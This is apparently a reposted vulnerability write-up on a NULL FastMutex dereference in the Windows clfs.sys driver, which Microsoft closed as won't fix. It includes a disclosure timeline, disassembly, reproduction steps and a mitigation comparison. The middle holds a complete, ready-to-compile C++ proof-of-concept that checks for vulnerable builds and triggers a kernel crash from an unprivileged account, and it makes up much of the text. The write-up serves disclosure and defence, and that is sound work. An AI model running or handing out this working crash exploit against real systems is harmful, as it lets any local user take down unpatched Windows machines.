Won't Fix: Kernel DoS in clfs.sys via NULL FastMutex Dereference

Won’t Fix: Kernel DoS in clfs.sys via NULL FastMutex Dereference

Original text by Baptiste Crépin

The article analyzes a Windows kernel vulnerability involving a NULL pointer dereference in the CLFS (Common Log File System) driver caused by misuse of a FAST_MUTEX structure. The research explains how Windows kernel synchronization primitives such as fast mutexes are used to enforce mutual exclusion in driver code. A fast mutex protects critical code paths and temporarily raises execution to APC_LEVEL while disabling asynchronous procedure calls, ensuring only one thread accesses the protected resource at a time. 

The author demonstrates that a specific execution path inside clfs.sys fails to properly validate a pointer before invoking synchronization routines. When the kernel attempts to acquire a fast mutex through a pointer that unexpectedly contains a NULL value, the system dereferences this invalid pointer and crashes. Because kernel drivers operate with high privileges, such faults can trigger a system-wide crash (bugcheck) leading to denial of service.

The article walks through the reverse-engineering process used to identify the vulnerable code path, including kernel debugging, code inspection, and analysis of how the FAST_MUTEX structure is accessed during log file operations. The research concludes by explaining why the issue was classified as a kernel denial-of-service bug and discusses the security implications of insufficient pointer validation in low-level synchronization mechanisms.

I was recently deep in the weeds of Windows kernel internals, specifically trying to increase the window for a race condition on a clfs.sys CVE. My goal was to call specific functions to lock a file object, essentially forcing internal clfs.sys functions to hang just long enough to win the race.

Instead of a successful race win, I stumbled upon a clean, reproducible Kernel Denial of Service (DoS).

This vulnerability affects Windows 11 24H2/25H2 and Windows Server 2025 (and likely several preceding versions), even with the latest security patches applied as of March 2026.

Disclosure Timeline

Despite the stability of the PoC, Microsoft has classified this as Moderate severity, as they do not consider NULL pointer dereferences to be viable Elevation of Privilege (EoP) vectors in modern environments. Microsoft specifically notes that “NULL remapping cannot be exploited in Windows 8+” due to the kernel-mode prevention of mapping the zero page (address 0). Consequently, while the DoS is absolute, the risk of code execution is mitigated by the OS:

  • January 16, 2026: Initial report submitted to MSRC.
  • January 19, 2026: Case officially opened for investigation.
  • March 4, 2026: MSRC concluded: “This issue does not meet the bar for security servicing.”
  • Status: WON’T FIX.

Vulnerability Summary

The issue is a NULL pointer dereference in the Windows kernel (ntoskrnl.exe). It occurs when the kernel attempts to create a Section Object from a File Object (specifically a CLFS log handle) that lacks a valid Fast Mutex in its FSRTL_ADVANCED_FCB_HEADERstructure.

While this results in an immediate Blue Screen of Death (BSoD), it is not considered an Elevation of Privilege (EoP) vector. Since Windows 8, Microsoft has implemented strict protections that prevent mapping the NULL page, meaning there is no known way to leverage this for code execution or information leaks.

Technical Breakdown

To understand why this crash occurs, we first have to look at what CreateFileMappingW() does. When you call CreateFileMappingW()on a file handle, you are essentially asking the Windows Memory Manager to link a physical file on disk to a virtual memory address. It creates a block of memory (called Section Object) that lets processes read, write, or share data through memory instead of slow file or IPC operations.

From API to Syscall

The call follows this path:

  1. KERNELBASE!CreateFileMappingW: Validates basic parameters (protection flags, size, handle validity).
  2. ntdll!NtCreateSection: The user-mode wrapper that executes the syscall instruction to enter kernel mode.
  3. nt!NtCreateSection: The kernel-mode entry point.

Security and Filter Checks

Inside the kernel, the Memory Manager must ensure that the FILE_OBJECT associated with the provided handle is actually capable of being mapped. This is handled by nt!MiCreateSection and its sub-routines.

Because many drivers (like antivirus or encryption filters) need to know when a file is being mapped into memory, the kernel calls nt!MiCallCreateSectionFilters. This function’s job is to notify the file system and filters that a section is being created and to synchronize access to the file’s control blocks.

The Synchronization Failure

This is where the vulnerability manifests. To perform these filter notifications safely, the kernel needs to acquire a lock on the file’s header to prevent the file state from changing mid-operation.

It retrieves the FsContext (which points to an FSRTL_ADVANCED_FCB_HEADER) and looks for the FastMutex pointer:

; nt!MiCallCreateSectionFilters
MOV     RSI, qword ptr [R14 + 0x18]  ; Load FSRTL_ADVANCED_FCB_HEADER
TEST    RSI, RSI
JZ      LAB_14097db82
MOV     RCX, qword ptr [RSI + 0x30]  ; Retrieve FastMutex
CALL    ExAcquireFastMutex           ; Pass FastMutex to the locking routine
  • The Expectation: If a file is being used for a section, it should have a synchronization primitive.
  • The Reality: As hinted by the documentation of the function FsRtlSetupAdvancedHeaderEx used to create FSRTL_ADVANCED_FCB_HEADERThe fast mutex is optional and can be NULL. If FastMutex is NULL, the caller must explicitly set the FastMutex member of the FSRTL_ADVANCED_FCB_HEADER structure. And in CLFS FILE_OBJECT case, the FastMutex hasn’t been set at all.

Because nt!MiCallCreateSectionFilters assumes the pointer is valid, it passes 0x0 directly to ExAcquireFastMutex().

The Crash Point

Inside ExAcquireFastMutex(), the kernel executes a bit-test-and-reset (btr) instruction with a lock prefix to acquire the mutex. Since the base address (rbx) is 0, the CPU triggers an access violation.

nt!ExAcquireFastMutex+0x38:
lock btr dword ptr [rbx], 0  ; <--- RBX is NULL, resulting in Access Violation

Reproducing the BSoD

The reproduction is quite simple and requires no special privileges:

  1. Obtain a log handle: Call CreateLogFile() to get a handle to a CLFS log.
  2. Trigger the Section creation: Provide that handle to CreateFileMappingW().
  3. Result: Immediate SYSTEM_SERVICE_EXCEPTION (3b) bugcheck.

( I’m rewrite original PoC and add some futures + support windows ARM https://github.com/oxfemale/PoC_kernel_NULL_pointer_clfs.sys)

/**
 * @file exploit.cpp
 * @brief Proof-of-Concept for a kernel NULL pointer dereference in clfs.sys (Won't Fix)
 *
 * This vulnerability allows a local user to cause a reliable kernel DoS (BSoD)
 * on Windows 11 24H2/25H2 and Windows Server 2025. It was reported to MSRC
 * and closed as "Won't Fix" because Microsoft does not consider NULL dereferences
 * to be exploitable for EoP since Windows 8 (due to NULL page remapping prevention).
 *
 * @affected Windows 11 versions 24H2 (build 26100) and 25H2 (build 27718)
 *            Windows Server 2025 (build 26100)
 * @patched  Windows builds >= 26H2 (e.g., 28700+)
 *
 * @details The crash occurs in nt!MiCallCreateSectionFilters when it attempts
 *          to acquire a FastMutex from an FSRTL_ADVANCED_FCB_HEADER structure
 *          associated with a CLFS log file. The FastMutex pointer is NULL,
 *          leading to an access violation inside ExAcquireFastMutex.
 *
 * @note This PoC incorporates several improvements for robustness and research:
 *       - Automatic detection of vulnerable builds via RtlGetVersion
 *       - Unique temporary log file creation
 *       - Multi‑threading option to increase reliability
 *       - Command‑line arguments for custom paths and thread count
 *       - Extended logging and error handling
 *
 * @author Based on original research by Baptiste Crépin (CravateRouge Ltd)
 * @exploit @oxfemale / https://x.com/bytecodevm
 * @date   2026-03-17
 */

#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <clfsw32.h>      // CLFS API
#include <stdio.h>
#include <process.h>      // for _beginthreadex

#pragma comment(lib, "Clfsw32.lib")

#ifndef FileFsDeviceInfo
#define FileFsDeviceInfo 4
#endif

#ifndef _FILE_FS_DEVICE_INFO_DEFINED_
#define _FILE_FS_DEVICE_INFO_DEFINED_
typedef struct _FILE_FS_DEVICE_INFO {
    ULONG DeviceType;        // Type of device (e.g., FILE_DEVICE_DISK)
    ULONG Characteristics;   // Device characteristics
} FILE_FS_DEVICE_INFO, * PFILE_FS_DEVICE_INFO;
#endif

#define CLR_RESET  (FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE)
#define CLR_CYAN   (FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY)
#define CLR_WHITE  (FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY)
#define CLR_RED    (FOREGROUND_RED | FOREGROUND_INTENSITY)
#define CLR_YELLOW (FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY)
#define CLR_GRAY   (FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE)

static void SetColor(WORD color) {
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), color);
}

static void PrintBanner() {
    SetColor(CLR_RED);
    printf(">>> BSoD  clfs.sys  NULL Pointer Dereference <<<\n");

    SetColor(CLR_YELLOW);
    printf("[ Affects : Windows 11 24H2 / 25H2 / Server 2025 ]\n");

    SetColor(CLR_GRAY);
    printf("Based on original research by  ");
    SetColor(CLR_WHITE);
    printf("Baptiste Crepin (CravateRouge Ltd\n");

    SetColor(CLR_GRAY);
    printf("Coded by ");
    SetColor(CLR_WHITE);
    printf("@oxfemale / https://x.com/bytecodevm");
    SetColor(CLR_GRAY);
    printf(" | Won't Fix (MSRC)\n");

    SetColor(CLR_CYAN);
    printf("------------------------------------------------------------------------\n");
    SetColor(CLR_RESET);
    printf("\n");
}

// Helper: check if the current Windows build is vulnerable
// Vulnerable: builds between 26100 (24H2) and 28700 (first 26H2)
bool IsVulnerableBuild() {
    typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
    RtlGetVersionPtr pRtlGetVersion = (RtlGetVersionPtr)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlGetVersion");
    if (!pRtlGetVersion) {
        printf("[!] Warning: Cannot resolve RtlGetVersion, assuming vulnerable.\n");
        return true;
    }

    RTL_OSVERSIONINFOW osvi = { sizeof(osvi) };
    if (pRtlGetVersion(&osvi) == 0) {   // STATUS_SUCCESS
        // Build numbers are approximate; adjust based on actual tested builds
        // 26100 = Windows 11 24H2 / Server 2025
        // 27718 = Windows 11 25H2 (Insider)
        // >= 28700 = 26H2 (patched)
        if (osvi.dwMajorVersion == 10 && osvi.dwBuildNumber >= 26100 && osvi.dwBuildNumber < 28700) {
            printf("[+] Vulnerable build detected: %lu\n", osvi.dwBuildNumber);
            return true;
        }
        else {
            printf("[*] Build %lu is not vulnerable (patched or too old).\n", osvi.dwBuildNumber);
            return false;
        }
    }
    printf("[!] RtlGetVersion failed, assuming vulnerable.\n");
    return true;
}

// Create a unique CLFS log file in the user's temp directory
HANDLE CreateClfsLog() {
    wchar_t tempPath[MAX_PATH];
    if (!GetTempPathW(MAX_PATH, tempPath)) {
        printf("[-] GetTempPath failed: %lu\n", GetLastError());
        return INVALID_HANDLE_VALUE;
    }

    // Generate a unique log name using a random suffix
    wchar_t logName[MAX_PATH];
    wcscpy(logName, L"LOG:");
    wcscat(logName, tempPath);
    wcscat(logName, L"poc_");

    // Append random hex digits
    for (int i = 0; i < 8; i++) {
        wchar_t hex[2];
        wsprintfW(hex, L"%x", rand() % 16);
        wcscat(logName, hex);
    }
    wcscat(logName, L".clfs");

    printf("[*] Using log: %S\n", logName);

    HANDLE hLog = CreateLogFile(
        logName,
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        OPEN_ALWAYS,
        0
    );

    if (hLog == INVALID_HANDLE_VALUE) {
        printf("[-] CreateLogFile failed: %lu\n", GetLastError());
        return INVALID_HANDLE_VALUE;
    }

    return hLog;
}

// Verify that the handle indeed belongs to a CLFS log
// (uses GetFileInformationByHandleEx with FileFsDeviceInfo)
bool IsClfsHandle(HANDLE hLog) {
    FILE_FS_DEVICE_INFO devInfo = { 0 };
    if (!GetFileInformationByHandleEx(hLog, (FILE_INFO_BY_HANDLE_CLASS)FileFsDeviceInfo, &devInfo, sizeof(devInfo))) {
        printf("[!] GetFileInformationByHandleEx failed: %lu, cannot verify handle type.\n", GetLastError());
        // Assume it's okay; this check is optional
        return true;
    }

    // CLFS logs typically reside on a logical disk (DeviceType == FILE_DEVICE_DISK)
    // FILE_DEVICE_DISK is defined in winioctl.h as 0x00000007
#ifndef FILE_DEVICE_DISK
#define FILE_DEVICE_DISK 0x00000007
#endif

    if (devInfo.DeviceType == FILE_DEVICE_DISK) {
        return true;
    }
    else {
        printf("[!] Handle device type is %lu (expected FILE_DEVICE_DISK)\n", devInfo.DeviceType);
        return false;
    }
}

// ------------------------------------------------------------------
// Thread function: repeatedly try to create a file mapping
// ------------------------------------------------------------------
unsigned int __stdcall MappingThread(void* param) {
    HANDLE hLog = (HANDLE)param;
    for (int i = 0; i < 5; i++) {   // each thread makes up to 5 attempts
        HANDLE hMap = CreateFileMappingW(hLog, NULL, PAGE_READWRITE, 0, 4096, NULL);
        if (!hMap) {
            DWORD err = GetLastError();
            if (err != ERROR_ACCESS_DENIED && err != ERROR_INVALID_HANDLE) {
                // On a vulnerable system, we should never see any error
                printf("[!] Thread %lu: CreateFileMapping failed with %lu\n", GetCurrentThreadId(), err);
            }
        }
        else {
            printf("[!] Thread %lu: mapping succeeded unexpectedly (system is patched)\n", GetCurrentThreadId());
            CloseHandle(hMap);
            break;
        }
        // Small delay to increase chance of hitting race? Not needed, but harmless.
        Sleep(50);
    }
    return 0;
}

int wmain(int argc, wchar_t* argv[]) {
PrintBanner();

int threadCount = 1;
if (argc >= 2) {
    threadCount = _wtoi(argv[1]);
    if (threadCount < 1 || threadCount > 20) threadCount = 1;
}

printf("[=== CLFS NULL Dereference PoC (Won't Fix) ===]\n");
printf("[*] Threads: %d\n", threadCount);

    if (!IsVulnerableBuild()) {
        printf("[*] This system is likely not vulnerable. Exiting.\n");
        return 0;
    }

    HANDLE hLog = CreateClfsLog();
    if (hLog == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to create CLFS log. Exiting.\n");
        return 1;
    }
    printf("[+] CLFS log handle: %p\n", hLog);

    if (!IsClfsHandle(hLog)) {
        printf("[!] Handle verification failed, but proceeding anyway.\n");
    }

    printf("[!] Press Enter to trigger the vulnerability with %d thread(s)...\n", threadCount);
    getchar();

    HANDLE* threads = new HANDLE[threadCount];
    for (int i = 0; i < threadCount; i++) {
        threads[i] = (HANDLE)_beginthreadex(NULL, 0, MappingThread, hLog, 0, NULL);
        if (!threads[i]) {
            printf("[-] Failed to create thread %d\n", i);
        }
    }

    WaitForMultipleObjects(threadCount, threads, TRUE, INFINITE);
    for (int i = 0; i < threadCount; i++) CloseHandle(threads[i]);
    delete[] threads;

    CloseHandle(hLog);
    printf("[+] Program finished normally (system is patched or not vulnerable).\n");
    return 0;
}

Suggested Mitigation

A possible fix could be to validate the FastMutex pointer in nt!MiCallCreateSectionFilters. If it is NULL, the kernel should gracefully fail the section creation with an appropriate error code (like STATUS_INVALID_PARAMETER or STATUS_ASSERTION_FAILURE) instead of blindly attempting to acquire a lock on address 0x0.

While analyzing the vulnerability, I discovered that the Windows 11 Insider (26H2) build is not susceptible to this crash. By comparing the assembly of nt!MiCallCreateSectionFilters across both versions, we can see exactly how Microsoft refactored the synchronization logic.

The Vulnerable Code (25H2 / Server 2025)

In current production builds, the kernel uses a Software Lock pattern. It attempts to retrieve a mutex pointer from the file header and pass it to a formal locking routine.

; nt!MiCallCreateSectionFilters (Vulnerable)
MOV     RSI, qword ptr [R14 + 0x18]  ; Load FSRTL_ADVANCED_FCB_HEADER
TEST    RSI, RSI
JZ      LAB_14097db82
MOV     RCX, qword ptr [RSI + 0x30]  ; Retrieve FastMutex (NULL for CLFS)
CALL    ExAcquireFastMutex           ; Pass NULL to the locking routine
...
OR      byte ptr [RSI + 0x6], 0x10   ; Flip the bit
CALL    ExReleaseFastMutex

When ExAcquireFastMutex receives that NULL pointer in RCX, it eventually hits the following instruction, causing the BSoD:

; nt!ExAcquireFastMutex
MOV     RBX, RCX
...
BTR.LOCK dword ptr [RBX], 0x0        ; CRASH: RBX is 0x0 (Access Violation)

The “Hardware Lock” Fix (26H2)

In the 26H2 build, Microsoft eliminated the dependency on the software mutex entirely. Instead of calling a complex synchronization routine, they now use a single Hardware-level atomic instruction.

; nt!MiCallCreateSectionFilters (Patched in 26H2)
MOV     RAX, qword ptr [RSI + 0x18]  ; Load FSRTL_ADVANCED_FCB_HEADER
TEST    RAX, RAX
JZ      LAB_14095dbb8
LOCK OR byte ptr [RAX + 0x6], 0x10   ; ATOMIC: No pointer dereference needed
JMP     LAB_14095dbb8

Conclusion on Mitigation

The shift in 26H2 shows another fix alternative: replacing the software lock with a hardware lock. Since the kernel only needs to perform a single bitwise OR operation, modern CPUs can handle this atomicity via the LOCK prefix with extreme efficiency.

Since this is marked as Won’t Fix, defenders should monitor for unusual CreateFileMapping() calls targeting CLFS log files, though preventing this at the API level is difficult without a vendor patch.

Comments are closed.